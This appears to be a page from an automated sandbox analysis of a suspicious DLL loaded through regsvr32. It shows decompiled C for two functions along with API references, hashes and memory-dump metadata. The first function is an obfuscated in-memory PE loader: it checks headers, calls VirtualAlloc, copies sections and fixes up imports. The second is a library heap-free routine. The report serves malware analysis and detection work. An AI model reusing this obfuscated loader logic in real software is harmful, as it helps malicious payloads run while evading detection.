Instruction ID: 4481b58d255cbe5142acee66a34acb2938a50c4d93f537f6c5973b45ce1918b0
Opcode Fuzzy Hash: 1e6750b31711013780485710c06bd32641eac749072131b89cc580e3198a269b
Instruction Fuzzy Hash: 7931AF71611B45EFDB20DFA4C888A8A7BF9FF44301F01892DE596D3A50DB30F9508B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44010 Relevance: 15.0, APIs: 7, Strings: 1, Instructions: 1002
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E6EB44010() {
				void* __esi;
				signed int _t368;
				signed int _t369;
				signed int _t388;
				signed int _t399;
				signed int _t415;
				signed int _t425;
				signed int _t449;
				signed int _t460;
				void* _t464;
				signed int _t465;
				void* _t473;
				void* _t482;
				void* _t498;
				signed int _t516;
				signed int _t523;
				void* _t537;
				signed int _t540;
				signed int _t541;
				void* _t555;
				signed int _t564;
				void* _t565;
				signed int _t566;
				signed int _t569;
				void* _t572;
				void* _t573;
				signed int _t574;
				void* _t576;
				signed int _t590;
				signed int _t597;
				intOrPtr _t600;
				signed int _t607;
				void* _t613;
				void* _t639;
				signed int _t641;
				signed int _t656;
				signed int _t682;
				signed int _t689;
				signed int _t693;
				signed int _t694;
				signed int _t698;
				signed int _t701;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				intOrPtr _t716;
				signed int _t717;
				signed int _t724;
				intOrPtr _t726;
				signed int _t727;
				signed int _t738;
				signed int _t739;
				signed int _t753;
				signed int _t763;
				signed int _t772;
				signed int _t780;
				signed int _t783;
				signed int _t784;
				signed int _t801;
				signed int _t806;
				signed int _t829;
				signed int _t831;
				signed int _t841;
				void* _t842;
				signed int _t850;
				signed int _t857;
				signed int _t863;
				signed int _t870;
				signed int _t873;
				signed int _t876;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t884;
				signed int _t886;
				signed int _t904;
				signed int _t923;
				signed int _t942;
				signed int _t949;
				signed int _t959;
				signed int _t965;
				signed int _t985;
				signed int _t998;
				signed int _t1003;
				signed int _t1020;
				signed int _t1021;
				intOrPtr _t1025;
				void* _t1030;
				signed int _t1033;
				signed int _t1038;
				signed int _t1039;
				signed int _t1040;
				signed int _t1041;
				signed int _t1042;
				signed int _t1043;
				signed int _t1044;
				signed int _t1045;
				signed int _t1046;
				signed int _t1047;
				signed int _t1055;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1061;
				signed int _t1065;
				signed int _t1070;
				signed int _t1077;
				signed int _t1078;
				long _t1080;
				signed int _t1081;
				signed int _t1082;
				signed int _t1092;
				signed int _t1097;
				intOrPtr _t1116;
				signed int _t1119;
				signed int _t1120;
				signed int _t1192;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;

				_t904 =  *0x6eb8a9c8; // 0x0
				_t1082 =  *0x6eb8a9bc; // 0x0
				_t1065 =  *0x6eb8a9cc; // 0x0
				_t1033 =  *0x6eb8a9c4; // 0x0
				 *(_t1195 + 0x18) = _t1065 * _t1033;
				_t780 =  *0x6eb8a9c0; // 0x0
				_t368 = _t904 *  *0x6eb8a9d0;
				 *(_t1195 + 0x24) = _t368;
				_t369 =  *0x6eb8a9bc; // 0x0
				_t6 = (_t1082 + 3) * _t780 + _t368 + ((1 - _t904) * _t1065 + _t780 - 1) * _t1065 + 0x40; // 0x3f
				 *(_t1195 + 0x1c) = 0;
				if((_t780 +  *(_t1195 + 0x18) * _t1033 * 2 + _t780 + 2) * _t1065 +  *((intOrPtr*)(_t1195 + 0x60)) + (_t1033 + _t1033 - _t904 * 4 + _t780) * 2 < (_t369 - 1) * _t1033 + _t6) {
					L19:
					return 0;
				} else {
					_t1038 =  *0x6eb8a9c4; // 0x0
					_t1092 =  *0x6eb8a9bc; // 0x0
					_t656 = _t780 + _t780;
					 *(_t1195 + 0x28) = _t656;
					if(( *( *(_t1195 + 0x5c)) & 0x0000ffff) != (1 - _t780 * _t1038 - _t1092) *  *0x6eb8a9d0 - (_t1092 + 1) * _t1038 - _t656 - _t904 - _t1065 + 0x5a4f) {
						goto L19;
					} else {
						_t388 = _t904 * _t1038;
						 *(_t1195 + 0x14) = _t388;
						 *(_t1195 + 0x20) = _t388 + _t388;
						_t1097 =  *0x6eb8a9d0; // 0x0
						_t399 =  *0x6eb8a9bc; // 0x0
						if((6 -  *(_t1195 + 0x20)) * _t1065 - _t1097 + _t904 + _t1097 + _t904 +  *((intOrPtr*)(_t1195 + 0x60)) < ((_t1038 + _t1038 + (1 -  *(_t1195 + 0x24)) * 2) * _t780 -  *(_t1195 + 0x20) + _t1065 + 1) * _t780 + ( *(_t1195 + 0x24) * _t1065 * _t1038 +  *(_t1195 + 0x24) * _t1065 * _t1038 - 4) *  *0x6eb8a9d0 - _t904 * _t1065 * _t1065 - _t1065 + ( *(_t1195 + 0x5c))[0x1e] + _t904 + _t904 + _t399 + _t399 + 0xf8) {
							goto L19;
						} else {
							 *((intOrPtr*)(_t1195 + 0x10)) = (_t904 * 4 - 4) * _t780 - _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + _t1065 + _t1038 + ( *(_t1195 + 0x5c))[0x1e] +  *(_t1195 + 0x5c);
							_t682 =  *0x6eb8a9d0; // 0x0
							if( *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)))) != (( *(_t1195 + 0x28) - _t904 + _t904) * _t682 * _t1038 + 0xa) * _t780 + ((2 - _t682) * _t682 + (0x1154 - _t1065) * 2) * 2 + (_t1038 + _t1038 - 4) * _t904 - _t1038 + _t1038) {
								goto L19;
							} else {
								_t415 =  *0x6eb8a9bc; // 0x0
								_t689 =  *0x6eb8a9d0; // 0x0
								_t56 = _t415 + 2; // 0x2
								if(( *( *((intOrPtr*)(_t1195 + 0x10)) + 4) & 0x0000ffff) != _t415 + _t56 * _t689 + 0x14c) {
									goto L19;
								} else {
									 *(_t1195 + 0x24) =  *( *((intOrPtr*)(_t1195 + 0x10)) + 0x38);
									_t65 = _t689 * 2; // -6
									_t68 = _t1038 * 2; // -9
									if(( *(_t1195 + 0x24) & _t689 * _t689 + _t689 * _t689 * 0x00000002 + (_t689 + _t65 - 0x00000006) * _t904 + (_t1038 + _t68 - 0x00000009) * _t1065 + 0x00000001) != 0) {
										goto L19;
									} else {
										_t425 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x28) = _t425 + _t425;
										_t1116 =  *((intOrPtr*)(_t1195 + 0x10));
										_t693 =  *0x6eb8a9bc; // 0x0
										 *(_t1195 + 0x2c) = ( *(_t1116 + 0x14) & 0x0000ffff) + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780 + (( *(_t1195 + 0x18) - _t689 * _t425 + 1) * _t1038 + (_t689 + _t780) * _t1065 -  *(_t1195 + 0x28) - _t904 + _t780) * 4 << 4) + _t1116 + 0x18;
										 *(_t1195 + 0x20) = _t780 + _t780 * 2 + _t780 + _t780 * 2;
										_t449 = (_t693 * _t1065 + _t693 * _t1065 * 2 + _t693 * _t1065 + _t693 * _t1065 * 2 - 6) *  *0x6eb8a9d0 + ( *(_t1116 + 6) & 0x0000ffff) + ( *(_t1195 + 0x14) +  *(_t1195 + 0x14) * 2) * 2 -  *(_t1195 + 0x20);
										 *(_t1195 + 0x28) = _t449;
										if(_t449 != 0) {
											 *(_t1195 + 0x14) = _t1038 * _t1038;
											 *((intOrPtr*)(_t1195 + 0x30)) = (( *(_t1195 + 0x18) + _t693 + ( *(_t1195 + 0x18) + _t693) * 2 - 3) * _t780 - _t693 * _t1038 + _t693 * _t1038 * 2 - 9) * _t904 + _t693 + _t1038 + (_t693 + _t1038) * 2 -  *(_t1195 + 0x20);
											 *(_t1195 + 0x18) =  *(_t1195 + 0x2c) + 0xc;
											 *(_t1195 + 0x20) =  *(_t1195 + 0x28);
											do {
												if( *((intOrPtr*)( *(_t1195 + 0x18) + 4)) != 0) {
													_t639 = (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 + (_t1065 * _t1065 + _t780 * _t780) * _t1065 +  *(_t1195 + 0x14) + (_t693 + _t780) * 2 - _t904 * 4 +  *( *(_t1195 + 0x18)) +  *((intOrPtr*)( *(_t1195 + 0x18) + 4));
												} else {
													_t1192 =  *0x6eb8a9d0; // 0x0
													_t641 =  *(_t1195 + 0x14) +  *(_t1195 + 0x14);
													 *(_t1195 + 0x2c) = _t641;
													_t763 =  *0x6eb8a9d0; // 0x0
													_t639 = ((_t641 - _t1192 + _t1192) * _t904 + _t693 + _t693) * _t904 + (4 -  *(_t1195 + 0x2c)) * _t780 - _t763 + _t763 + _t763 + _t763 +  *( *(_t1195 + 0x18)) + _t1038 + _t1038 +  *(_t1195 + 0x24);
												}
												if(_t639 >  *((intOrPtr*)(_t1195 + 0x30)) +  *(_t1195 + 0x1c)) {
													_t772 =  *0x6eb8a9d0; // 0x0
													 *(_t1195 + 0x1c) =  ~_t772 +  ~_t772 +  ~_t772 +  ~_t772 - _t904 * _t780 + _t1065 + _t904 * _t780 + _t1065 + _t639;
												}
												 *(_t1195 + 0x18) =  *(_t1195 + 0x18) + 0x28;
												_t138 = _t1195 + 0x20;
												 *_t138 =  *(_t1195 + 0x20) - 1;
												_t693 =  *0x6eb8a9bc; // 0x0
											} while ( *_t138 != 0);
										}
										_t140 = _t1038 + 2; // 0x2
										 *0x6eb8d50c(_t1195 + ((1 - _t780) * _t780 - _t904 * _t693 + _t140 * _t1038 + 8 << 4) + 0x34);
										_t694 =  *0x6eb8a9bc; // 0x0
										_t1039 =  *0x6eb8a9c0; // 0x0
										_t783 =  *0x6eb8a9c8; // 0x0
										_t1119 =  *0x6eb8a9c4; // 0x0
										_t784 = _t783 * _t694;
										 *(_t1195 + 0x2c) = _t784;
										_t149 = (_t784 - _t1119) * 4; // 0x8
										_t1070 =  *0x6eb8a9cc; // 0x0
										_t460 =  *0x6eb8a9c8; // 0x0
										_t155 = _t1070 + 3; // 0x3
										_t157 = _t694 - 2; // -2
										_t464 = E6EB42650(((4 + _t1039 * 4) *  *0x6eb8a9d0 + _t149 + 8) * _t1119 + (_t694 * 4 - _t1039 * 4 - 4) *  *0x6eb8a9d0 - (4 + _t1039 * 4) * _t1070 + _t694 * 4 +  *((intOrPtr*)(_t1195 + 0x38)), (_t460 + _t155) * _t1119 + _t157 * _t1039 +  *((intOrPtr*)( *((intOrPtr*)(_t1195 + 0x10)) + 0x50)) -  *0x6eb8a9d0 - _t694 +  *0x6eb8a9c8 + _t1070);
										_t160 = _t1119 + 1; // 0x1
										_t465 =  *0x6eb8a9c8; // 0x0
										 *(_t1195 + 0x24) = _t464 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070 + (_t1039 * _t1039 - _t160 *  *0x6eb8a9c8 + _t1070) * 2) * 2;
										_t923 =  *0x6eb8a9d0; // 0x0
										 *(_t1195 + 0x34) = _t465 * _t1070;
										 *(_t1195 + 0x28) = _t923 * _t1070;
										_t473 = E6EB42650( *((intOrPtr*)(_t1195 + 0x3c)) -  *0x6eb8a9c8, (_t1039 + _t923 * _t1070 * 2 + _t1039 + 2) * _t694 +  *(_t1195 + 0x20) + ((_t465 * _t1070 * _t1039 + _t923) *  *0x6eb8a9c8 - _t1070 - _t1039) * 2);
										_t1196 = _t1195 + 8;
										if( *(_t1196 + 0x20) != _t473) {
											goto L19;
										} else {
											_t801 =  *0x6eb8a9d0; // 0x0
											_t806 =  *0x6eb8a9c8; // 0x0
											 *(_t1196 + 0x14) = _t806 * _t1119;
											_t180 = _t694 - 1; // -1
											_t942 =  *0x6eb8a9d0; // 0x0
											 *(_t1196 + 0x34) = (_t1070 * _t1039 - _t1119 + _t180) * _t1039 + (_t694 - _t1119) * _t694 + (1 - _t1119) * _t1070 -  *((intOrPtr*)(_t1196 + 0x2c)) -  *(_t1196 + 0x14) -  *0x6eb8a9c8 +  *(_t1196 + 0x28) + _t942 + 0x1000;
											_t192 = _t1039 + 1; // 0x1
											_t482 = VirtualAlloc(_t192 * _t1070 + _t694 + _t1039 + _t1119 + (_t192 * _t1070 + _t694 + _t1039 + _t1119) * 2 + ((_t1070 * _t1070 + 3 + _t1070 * _t1070 * 2) * _t694 - 9) *  *0x6eb8a9d0 +  *((intOrPtr*)( *(_t1196 + 0x14) + 0x34)),  *(_t1196 + 0x28),  *(_t1196 + 0x34) | 0x00002000 -  *(_t1196 + 0x18) + _t1070 + _t1039 + ( *(_t1196 + 0x18) + _t1070 + _t1039) * 0x00000004, (5 -  *(_t1196 + 0x30) - _t694) * _t1119 + (2 -  *0x6eb8a9c8 - _t801) * _t801 + (1 - _t1070 - _t1039) * _t694 - _t806 + 4); // executed
											 *(_t1196 + 0x18) = _t482;
											if(_t482 != 0) {
												L17:
												_t829 =  *0x6eb8a9c4; // 0x0
												_t1077 =  *0x6eb8a9bc; // 0x0
												_t949 =  *0x6eb8a9c8; // 0x0
												_t1040 =  *0x6eb8a9cc; // 0x0
												 *(_t1196 + 0x24) = _t1077 * _t829;
												_t1078 =  *0x6eb8a9c0; // 0x0
												_t1041 =  *0x6eb8a9d0; // 0x0
												_t228 = ((_t1078 + _t829) * _t1040 - _t1041 + ((_t1078 + _t829) * _t1040 - _t1041) * 2 - 3) * _t1078 + 0x40; // 0x40
												_t498 = HeapAlloc(GetProcessHeap(), 8 + ((1 - _t829) * _t829 - (_t949 + _t1078) * _t949 - _t1041 * 4) * 4, _t1040 + _t1040 - _t949 * _t829 + _t1077 + (_t1040 + _t1040 - _t949 * _t829 + _t1077) * 2 + _t228);
												_t1120 =  *0x6eb8a9c0; // 0x0
												_t698 =  *0x6eb8a9c8; // 0x0
												_t1042 =  *0x6eb8a9d0; // 0x0
												_t831 =  *0x6eb8a9cc; // 0x0
												_t233 = _t1120 + 1; // 0x1
												_t1080 = _t498 + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24) + (_t233 * _t698 * _t831 - _t1042 * _t1042 - _t1120 +  *(_t1196 + 0x24)) * 4 << 6);
												if(_t1080 != 0) {
													 *(_t1080 + 4) =  *(_t1196 + 0x18);
													 *(_t1196 + 0x14) = _t698 *  *0x6eb8a9c4;
													 *(_t1196 + 0x20) = _t831 * _t1120;
													_t245 = _t1120 + 1; // 0x1
													_t246 = _t1120 - 2; // -2
													_t959 =  *0x6eb8a9c4; // 0x0
													_t516 = _t246 * _t1042 - _t245 * _t698 - (_t959 + 1) * _t831 -  *0x6eb8a9c4;
													_t965 =  *0x6eb8a9bc; // 0x0
													_t251 = _t516 * 2; // 0x2000
													_t841 =  *0x6eb8a9c4; // 0x0
													asm("sbb eax, eax");
													 *(_t1080 + 0x14) =  ~( ~(((0x00000002 -  *(_t1196 + 0x14) +  *(_t1196 + 0x14)) *  *0x6eb8a9bc -  *(_t1196 + 0x20) +  *(_t1196 + 0x20) + 0x00000002) * _t965 + _t251 + 0x00002000 &  *( *((intOrPtr*)(_t1196 + 0x10)) + 0x16) & 0x0000ffff));
													_t842 = _t841 + _t841 * 4;
													 *(_t1196 + 0x1c) = 5 - _t842;
													_t523 =  *0x6eb8a9cc; // 0x0
													 *((intOrPtr*)(_t1080 + 0x1c)) = E6EB43F50;
													 *((intOrPtr*)(_t1080 + 0x20)) = E6EB43F70;
													 *((intOrPtr*)(_t1080 + 0x24)) = E6EB43F90;
													 *((intOrPtr*)(_t1080 + 0x28)) = E6EB43FE0;
													 *((intOrPtr*)(_t1080 + 0x2c)) = E6EB44000;
													 *(_t1080 + 0x34) = 0;
													 *((intOrPtr*)(_t1080 + 0x3c)) =  *(_t1196 + 0x1c) * _t1042 + _t842 + (_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698 + ((_t523 + _t1120 + 1) * _t965 + (1 - _t1120) *  *0x6eb8a9cc - _t698) * 4 +  *((intOrPtr*)(_t1196 + 0x38));
													_t275 = _t698 + 2; // 0x2
													_t537 = E6EB426B0( *((intOrPtr*)(_t1196 + 0x64)) -  *(_t1196 + 0x24) * 4, _t275 *  *0x6eb8a9cc + ( *(_t1196 + 0x20) + 1) *  *0x6eb8a9c4 +  *((intOrPtr*)( *((intOrPtr*)(_t1196 + 0x10)) + 0x54)) + (_t698 * _t1042 *  *0x6eb8a9cc - 3) * _t1042 +  *(_t1196 + 0x14) + _t698);
													_t1197 = _t1196 + 8;
													if(_t537 == 0) {
														L28:
														E6EB45480(_t1080);
														return 0;
													} else {
														_t540 =  *0x6eb8a9bc; // 0x0
														_t541 =  *0x6eb8a9c4; // 0x0
														_t850 =  *0x6eb8a9cc; // 0x0
														_t281 = _t541 + 2; // 0x2
														_t985 =  *0x6eb8a9c4; // 0x0
														_t286 = _t698 * 2; // -3
														_push(0);
														_t555 = E6EB43F50( *(_t1197 + 0x28),  *(_t1197 + 0x28) * _t698 + ( *(_t1197 + 0x28) + 2) * _t1120 - _t1042 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x1c)) + 0x54)) + (( *(_t1197 + 0x28) + 2) * _t1120 - _t1042) * 4, ((_t698 + _t286 - 3) *  *0x6eb8a9bc - _t1042 + _t1042 * 2 - 3) * _t1042 + _t850 + _t850 * 2 - _t698 + _t698 * 2 + 0x1000, (_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042 + 4 + ((_t1042 + _t281) * _t850 - (_t698 * _t540 * _t540 * _t1120 + _t1042) * _t541 + (_t985 + 1) * _t1120 - _t1042) * 2);
														_t857 =  *0x6eb8a9c8; // 0x0
														_t1043 =  *0x6eb8a9c0; // 0x0
														_t998 =  *0x6eb8a9d0; // 0x0
														_t701 =  *0x6eb8a9cc; // 0x0
														 *(_t1197 + 0x44) = _t555;
														memcpy(_t555,  *(_t1197 + 0x74), (_t998 - _t857 *  *0x6eb8a9bc * _t1043 + _t998 - _t857 *  *0x6eb8a9bc * _t1043 - 4) *  *0x6eb8a9c4 + (_t857 - (_t998 + _t1043) *  *0x6eb8a9bc - _t701 * _t1043) * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x24)) + 0x54)));
														_t1044 =  *0x6eb8a9c8; // 0x0
														_t703 =  *0x6eb8a9d0; // 0x0
														_t863 =  *0x6eb8a9c4; // 0x0
														_t1003 =  *0x6eb8a9c0; // 0x0
														_t704 =  *0x6eb8a9bc; // 0x0
														_t313 = ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704) * 2; // 0x3dd
														_t315 = _t1044 + 2; // 0x2
														_t705 =  *0x6eb8a9cc; // 0x0
														_t564 =  *0x6eb8a9cc; // 0x0
														_t716 =  *((intOrPtr*)(_t1197 + 0x50)) + ((_t703 + _t863) * _t1003 - _t1044 * _t1044 * _t703 - _t704 + _t313 + 0x3dd) * _t863 + ((_t705 + 3) *  *0x6eb8a9d0 + _t315 * _t704 + _t1003) * 0x1f0 + _t564 * 0x1f6 - _t1044 + _t1044 * 2 + _t1044 + _t1044 * 2 +  *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x7c)) + 0x3c));
														 *_t1080 = _t716;
														 *((intOrPtr*)(_t1197 + 0x50)) = _t716;
														_t717 =  *0x6eb8a9bc; // 0x0
														 *((intOrPtr*)( *((intOrPtr*)(_t1197 + 0x50)) + 0x34)) = _t564 * _t564 - (_t717 + 1) *  *0x6eb8a9d0 * _t1003 - _t1003 * _t863 + _t1044 +  *0x6eb8a9d0 + _t863 +  *((intOrPtr*)(_t1197 + 0x38));
														_t724 =  *0x6eb8a9bc; // 0x0
														_t726 =  *((intOrPtr*)(_t1197 + 0x30));
														_push((_t863 * _t863 - _t724 * _t1003 + _t564 << 8) + _t1080);
														_push(_t726);
														_push(_t863 + _t863 + _t863 + _t863 - _t1003 + _t1003 * 2 + _t1044 + _t564 +  *((intOrPtr*)(_t1197 + 0x84)));
														_push( *((intOrPtr*)(_t1197 + 0x7c)));
														_t565 = E6EB426E0();
														_t1198 = _t1197 + 0x30;
														if(_t565 == 0) {
															goto L28;
														} else {
															_t566 =  *0x6eb8a9c8; // 0x0
															_t870 =  *0x6eb8a9bc; // 0x0
															_t1045 =  *0x6eb8a9cc; // 0x0
															_t331 = _t566 - 2; // -2
															_t569 =  *0x6eb8a9c4; // 0x0
															_t572 = ((_t566 + _t331) *  *0x6eb8a9c4 + (3 - _t870 - _t1045) * 2) * _t1045 - (_t566 + _t566 + 2) *  *0x6eb8a9c0 + (_t870 + _t569) * 2 +  *((intOrPtr*)( *_t1080 + 0x34)) -  *((intOrPtr*)(_t726 + 0x34));
															if(_t572 == 0) {
																 *((intOrPtr*)(_t1080 + 0x18)) = 1;
															} else {
																_push(_t572);
																_push(_t1080);
																_t600 = E6EB43690();
																_t1198 = _t1198 + 8;
																 *((intOrPtr*)(_t1080 + 0x18)) = _t600;
															}
															_push((_t1045 + _t1045 * 2 << 6) + _t1080);
															_t573 = E6EB43960();
															_t1199 = _t1198 + 4;
															if(_t573 == 0) {
																goto L28;
															} else {
																_t1046 =  *0x6eb8a9c8; // 0x0
																_t574 =  *0x6eb8a9c0; // 0x0
																_t873 =  *0x6eb8a9cc; // 0x0
																_t727 =  *0x6eb8a9d0; // 0x0
																_t345 = _t574 + 2; // 0x1
																_t1020 =  *0x6eb8a9c4; // 0x0
																_t347 = _t1020 * _t1020 - _t574 + 1; // 0x1
																_push((((_t1046 * _t574 - 1) * _t873 - _t727 *  *0x6eb8a9bc + _t345) *  *0x6eb8a9d0 + (_t873 + _t347) * _t873 - _t574 + _t574 * 2 + _t1046 +  *0x6eb8a9bc + _t1020 << 6) + _t1080);
																_t576 = E6EB43020();
																_t1200 = _t1199 + 4;
																if(_t576 == 0) {
																	goto L28;
																} else {
																	_t1021 =  *0x6eb8a9c8; // 0x0
																	_t1047 =  *0x6eb8a9bc; // 0x0
																	_t738 =  *0x6eb8a9d0; // 0x0
																	_t876 =  *0x6eb8a9c0; // 0x0
																	_t739 =  *0x6eb8a9cc; // 0x0
																	_t351 = _t876 + 1; // 0x1
																	if(E6EB435C0(((_t738 + _t738 - _t1021 * _t1047 - _t876 - 3) * _t738 + (_t739 - _t1047 - 1) * _t1021 + _t351 * _t876 - _t739 * 4 +  *0x6eb8a9c4 << 7) + _t1080) != 0) {
																		_t1025 =  *((intOrPtr*)( *_t1080 + 0x28));
																		if(_t1025 == 0) {
																			 *(_t1080 + 0x38) = 0;
																			return _t1080;
																		} else {
																			if( *(_t1080 + 0x14) == 0) {
																				_t590 =  *0x6eb8a9d0; // 0x0
																				_t878 =  *0x6eb8a9c0; // 0x0
																				_t879 =  *0x6eb8a9c4; // 0x0
																				_t880 =  *0x6eb8a9bc; // 0x0
																				_t881 =  *0x6eb8a9cc; // 0x0
																				 *(_t1080 + 0x38) = (_t590 *  *0x6eb8a9bc * _t881 + _t590 *  *0x6eb8a9bc * _t881 - 6) *  *0x6eb8a9c8 + _t1025 + ((2 - _t590 *  *0x6eb8a9bc * _t878) * _t878 + (2 - _t879 * _t879) * _t879 + _t880 * 2 - _t881 +  *0x6eb8a9d0) * 2 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			} else {
																				_t597 =  *0x6eb8a9c8; // 0x0
																				_t884 =  *0x6eb8a9cc; // 0x0
																				_t1055 =  *0x6eb8a9c4; // 0x0
																				_t1056 =  *0x6eb8a9bc; // 0x0
																				 *((intOrPtr*)(_t1080 + 0x10)) = 1;
																				 *0x6eb8d554 = (_t597 - _t597 * _t884 * _t1055 - _t1055 + 2) *  *0x6eb8a9c0 - (_t1056 + _t884) * _t884 - _t597 + _t597 + _t1025 + _t1056 +  *((intOrPtr*)(_t1200 + 0x18));
																				return _t1080;
																			}
																		}
																	} else {
																		goto L28;
																	}
																}
															}
														}
													}
												} else {
													_t237 = _t831 + 1; // 0x1
													VirtualFree( *(_t1196 + 0x18), _t1080, 0x8000 + ((_t698 + _t1042) *  *0x6eb8a9c4 + (1 - _t1120) * _t1120 + _t237 * _t831) * 4);
													goto L19;
												}
											} else {
												_t753 =  *0x6eb8a9cc; // 0x0
												_t1057 =  *0x6eb8a9c0; // 0x0
												_t886 =  *0x6eb8a9bc; // 0x0
												_t1081 =  *0x6eb8a9c8; // 0x0
												_t606 = _t753 *  *0x6eb8a9c4 - _t886 * _t1057;
												_t1030 = _t1057 + _t1057;
												_t204 = _t606 * 2; // -3
												_t607 =  *0x6eb8a9d0; // 0x0
												 *(_t1196 + 0x30) = _t1030 - _t1081 - _t607 +  *0x6eb8a9c4 + (_t1030 - _t1081 - _t607 +  *0x6eb8a9c4) * 2 + (_t753 *  *0x6eb8a9c4 - _t886 * _t1057 + _t204 - 3) * _t753 + 4;
												_t211 = _t1081 - 1; // -1
												_t212 = _t753 + 2; // 0x2
												_t1058 =  *0x6eb8a9bc; // 0x0
												_t215 = _t1081 + 1; // 0x1
												_t1061 =  *0x6eb8a9bc; // 0x0
												_t613 = VirtualAlloc(0, _t1030 - (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 + (_t607 *  *0x6eb8a9c4 + _t1081) * _t753 +  *(_t1196 + 0x20), (_t211 *  *0x6eb8a9bc - _t1057 - 0x00000001) *  *0x6eb8a9c4 - (_t753 * _t1057 + 0x00000001) * _t1081 - _t212 * _t607 - _t1057 + _t1058 + 0x00001000 | 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 + 0x00000800 - _t215 * _t1081 - _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607 + _t1061 + _t607,  *(_t1196 + 0x30));
												 *(_t1196 + 0x18) = _t613;
												if(_t613 == 0) {
													goto L19;
												} else {
													goto L17;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 6EB44406
VirtualAlloc.KERNEL32(?,?,?,?,00000000,00000000), ref: 6EB445FE
VirtualAlloc.KERNEL32(00000000,?,?,?), ref: 6EB446D0
GetProcessHeap.KERNEL32(00000000,00000040), ref: 6EB44755
HeapAlloc.KERNEL32(00000000), ref: 6EB4475C
VirtualFree.KERNEL32(?,00000000,00000000), ref: 6EB447C7
memcpy.MSVCRT ref: 6EB44A0D

Strings

(, xrefs: 6EB443CE

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AllocVirtual$Heap$FreeInfoNativeProcessSystemmemcpy
String ID: (
API String ID: 2458747956-3887548279
Opcode ID: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction ID: a4118993fdd5250910575924dbb2071c0777827e6f31f27d28dcd5993297aaf3
Opcode Fuzzy Hash: 6fc42248ce1543cf5d953fcd8e8d96899cbe1814335fc00dcd93a985351b60e6
Instruction Fuzzy Hash: 6E9282326047068FCB48DF68CAD5A56BBA9FB9A304F05853ED505CB3E5E674E609CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EB642E6 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E6EB642E6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x6eb85318);
				_t8 = E6EB66608(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E6EB6664D(_t8);
				}
				if( *0x6eb8e75c != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x6eb8cd8c); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E6EB66B6E(_t31);
						 *_t10 = E6EB66B2C(GetLastError());
					}
					goto L9;
				}
				E6EB6AEB4(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E6EB6AEE7(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E6EB6AF17();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E6EB6433C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 6EB64304

Part of subcall function 6EB6AEB4: __mtinitlocknum.LIBCMT ref: 6EB6AECA
